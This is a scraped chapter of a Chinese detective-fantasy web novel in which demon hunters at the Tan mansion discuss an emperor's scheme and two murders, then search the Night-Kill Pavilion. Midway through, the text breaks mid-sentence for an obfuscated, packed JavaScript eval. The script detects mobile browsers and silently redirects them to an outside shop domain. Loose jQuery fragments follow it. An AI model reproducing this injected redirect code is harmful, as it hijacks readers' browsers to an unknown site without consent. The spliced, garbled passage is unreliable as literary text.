文趣网 > 其他小说 > 且听旧岁[探案] > 6. 第⑥章
    江州城城外,与他汇合的人一身青衣,她第一眼看到的是对方屹立在树荫下,少年玉面朗目,清俊无双。

    魏玄拉着绳子,他一开口,气氛就瞬间变了:“裴承砚!我捉到妖怪了,咱们现在就前去上京,进灵妖宗。”

    被拉在后边的幸沧双一听,咬着牙,用只有自己能听到的声音喃喃:“好啊,两只不讲武德的老鼠。”

    毕竟这天下谁人不想进灵妖宗,灵妖宗既受皇族赏识,又受天下百姓的敬重。

    可偏偏就是这样完美的宗门,从来不招猎精师与捉妖师。

    这就要说灵妖宗的宗规奇特。

    要想成为灵妖宗的捉妖师,就只能自带妖怪去应聘,猎精师也一样。

    只不过带的妖怪也有讲究。

    有自个群体的妖怪不能捉,如青丘狐族,说是捉了怕引起整个群族妖怪的不满;在鬼域独立安居的散妖也不能捉,就怕扰乱鬼域,天子会怪罪。

    所以,落单且又不居住在鬼域的幸沧双就成了那个辅助别人青云路的冤大头。

    可她哪甘心,她又没在人间做过坏事,问心无愧的她后半生还要去各地逍遥快活呢!

    于是,她便与二人做了一场交易。

    幸沧双掐指一算:“上京东城玉京街谭府,这几个月会出一只妖精,那妖精的原身是一把琵琶,刚好本月廿二那天谭府会举办一场鸿门宴,你们就趁机而入,擒住妖精。

    待你们擒住妖精并交给灵妖宗后,你们就放我走。”

    当时她就随随便便算了个大概,并没有算出那只妖精具体属于妖怪还是精怪。

    但她至少提供了其他妖精的线索,从而便有了两人一妖夜闯夜杀阁的场面。

    然而坏消息便是,千算万算没算到这谭府会在一天之内接连出两起命案,眼下他们想走也走不掉。

    正当她要开口之时,一道男声抢先了一步。

    裴承砚语气严肃:“所以天子要杀这谭府的二公子到底是怎么回事?”

    幸沧双听他所言,顿时欲言又止。

    天子要杀谭子亦?

    “谭家既不属文官,也不属武官,天子要杀谭二公子干吗?”魏玄一手拖着脑袋,目光愣愣地盯着布满灰的木桌,表示很是不理解。

    一时间,在场除灵妖宗以外的三人几乎是同步将目光放到解思弦身上。

    希望她能给个答案。

    解思弦一脸平静,她先是淡淡抛出一个问题:“这天下共有十二个捉妖宗派,你们可知,为何只有灵妖宗能受到天子赏识,并从十二宗派中脱颖而出,成为首位?”

    宗外之人自是不知,宗内者则笑而不语。

    见无人回应,她假装叹了口气:“既如此,那我便换一个问题吧。

    这天下共十二个捉妖猎精宗派,每个门派的猎精师和捉妖师都近乎百人,四年来,你们当真认为这些宗派手上没有一点关于血簪的消息吗?”

    想想便觉得不可能。

    四年来,因血簪的出现,天下百姓人心惶惶,人间动荡不安,不仅仅是国运锐减,国库也日益空虚。

    但尽管如此,四年来没有血簪的消息,天子愣是一声也没怪罪下来过。

    “想想,这又是为何?”解思弦一字一顿。

    “所以你们灵妖宗就指使那些被血簪幻化的精怪替天子完成刺杀?”裴承砚闻言,便顺着心中的想法说了。

    毕竟这世上妖精千千万万,唯独被血簪幻化的精怪没有精气,只有魔气。

    它们只要略施小计就能完美隐藏自己。拥有这般条件,的确最适合去做刺客。

    她点点头:“你确实聪明。”

    “能坐在那个位子上的人,哪个不是历经一身风浪的?

    要想扬帆长久立之,那就必须先下手为强,一个一个铲除周边的势力,从而来确保自己的活路。”

    此时此刻,坐在一边的应千崇沉默了好半晌,才开口:“文武官对标的是整个朝廷,是最不容易一次性铲除的势力。

    这谭家世代从商,又是东城第一富商,谭家老爷又刚过世,所以……”

    “所以只要谭大谭二一死,这谭府就没了梁柱,谭家经营百年的钱财也就顺理成章进了国库?”幸沧双感叹:“这是老狐狸啊。”

    而今,夜雨敲打着外檐,库房内昏暗无光,四处皆阴湿潮冷,浊气沉沉弥漫。

    谁知她话音刚落,本坐在窗边一言不发的罗怜玉发出一声嗤笑:“结果是对了,但过程就不对了。”

    “天子只要求杀谭二,不杀谭大,那是因为这谭家老爷的遗嘱上只写了谭子亦的名字。更何况,这谭家还有个谭三呢。”

    魏玄眉头紧锁:“还有个谭三?”

    “是啊,还有谭三,谭家的三公子谭子墨。”罗怜玉稍息片刻,后灵活从窗檐上跳下来,边走边道:“我来这谭府前曾调查过,这谭家三公子从小就体弱,给他算命的先生说他是煞星降世,一出生她娘便死了,而他爹便连夜将他送去药王谷,看似是去治身子,实则不然,这个家一年也不让他回来几次。”

    “不过这次谭大公子忽然暴毙,我故意放出了消息,想来已经传到谭三公子的耳中,应翌日一早就能见到他。”语毕,她停下徘徊,一下子,幽黑的库房再次陷入寂静。

    解思弦也不闲着,一把抓过萧燕然的验尸结果。

    天子盯上了谭家的钱财,本该死的谭二活着,本该活着的谭大却死了。

    不到一日,短短时间内谭府就接连出了两具尸体,但没有一具是谭二的。

    先不说出了谭府后天子会怎么怪罪,单查案来说,事到如今,手上的线索却是寥寥无几。

    解思弦抿着唇,深思顷刻后张了张嘴:“你们谁还记得夜杀阁的那只箭?”

    一个完全封闭的场所,却凭空出现一只箭。

    此箭也射得巧妙。一般人在即将被箭射中时都会下意识往侧边避开,谭子昭也正是如此。

    回想当时,夜杀阁内。

    ——“小心!”

    众人一声又一声的惊呼仿佛要把整个夜杀阁吞没,屹立在夜杀阁二层高台上的谭子昭本能的在箭朝他飞来时后退。

    却……

    高台在他站上去的一瞬坍塌,成为黑不见底的窟窿。

    至于后来谭子昭

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744283|209206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是怎么被勒死在寝房,他们一概不知。

    解思弦:“夜杀阁内没有纸窗,那支箭就只能是提前准备好的。”

    “算下来已是卯时。”她喃喃:“还有一事,今日刑部之人催我尽快解了这谭府的封禁,我也只好与刑部协商,限七日之内勘破此案。”

    “天子赶着想让刑部之人来处理这桩案件,怕是另有所图。但此事毕竟牵扯到血簪,真相不能因此埋没。”

    只是弹指间,解思弦起身,躬身行礼:“探察一事我想就从那只箭开始。还请几位助我,来日我与灵妖宗必定报答。”

    她话中的“几位”见此肃然起身,一个个都不敢对此不敬。

    幸沧双原是一脸懵看向二人,但仔细想想自己这个时候再不站出就不太礼貌了,于是库房里的三人就像在站萝卜蹲一般。

    “少宗主不必如此。”

    “是啊是啊,捉拿妖怪,还世清白乃是职责所在!”

    “嗯对,我和他们二人想的一样。”

    裴承砚依旧是这句话,魏玄见他发话,那他也不敢不言。

    就连幸沧双也一咬牙,附和着说出了违心之话。

    三人连着行礼,罗怜玉在一旁看着可笑极了,她心中暗嘲,就他们还还世清白,怕是连这谭府一案都探不破。

    解思弦眼见目的达成,她一本正经:“那好,事不宜迟。”

    ……

    罗怜玉掐指算下来,这谭家的三公子约莫辰时才能赶到,他们卯时开始探察,只要赶在辰时前到大门迎候便可。

    解思弦指挥着兵分两路,一路就在谭大公子的寝房等,另一路就从夜杀阁开始探。

    本坐满达官显贵的夜杀阁眼下正空落,自官吏来后这夜杀阁的烛火也灭了,阁外偶尔有惊雷闪过,叫人脊背发凉。

    魏玄见眼前的三位稳如泰山,不对劲,好像就他脊背发凉。

    他强装镇定清了清嗓:“咳,你们不点烛吗?二层那么大个窟窿,等下掉下去怎么办?”

    可别到时候像谭子昭那般。

    来夜杀阁就四人,解思弦和罗怜玉在前,他与裴哥在后。至于剩下三位,如今就等于寝房。

    “以你们这些捉妖师的眼力不该是上乘的吗?你这个捉妖师怎么连这都看不清,你没灵根?”罗怜玉在前头讽笑。

    “喂!我有灵根的!”魏玄听她如此说来自是不甘,立马反驳。

    “那就是真废物一个啊。”

    就在罗怜玉声音刚落,霎时一条红光如刃挡在她面前。

    裴承砚见了都不自觉抬手遮眼。

    “你要杀人,可以,但你得杀的合情合理;说话也一样,这是在案发地,说什么之前话可得过一下脑袋。”

    他们是来查案的,不是来做口舌之争的。

    解思弦发话,罗怜玉可不敢多嘴,就怕她再杀她一次。她也只能老老实实汇聚内力,右手指尖生出点点火光,后精准投放到夜杀阁的所有蜡烛上。

    整个夜杀阁顿时亮如白昼,所有人见夜杀阁的一瞬,都第一时间反应过来一个问题。

    “二层的那个大窟窿呢?怎么不见了!”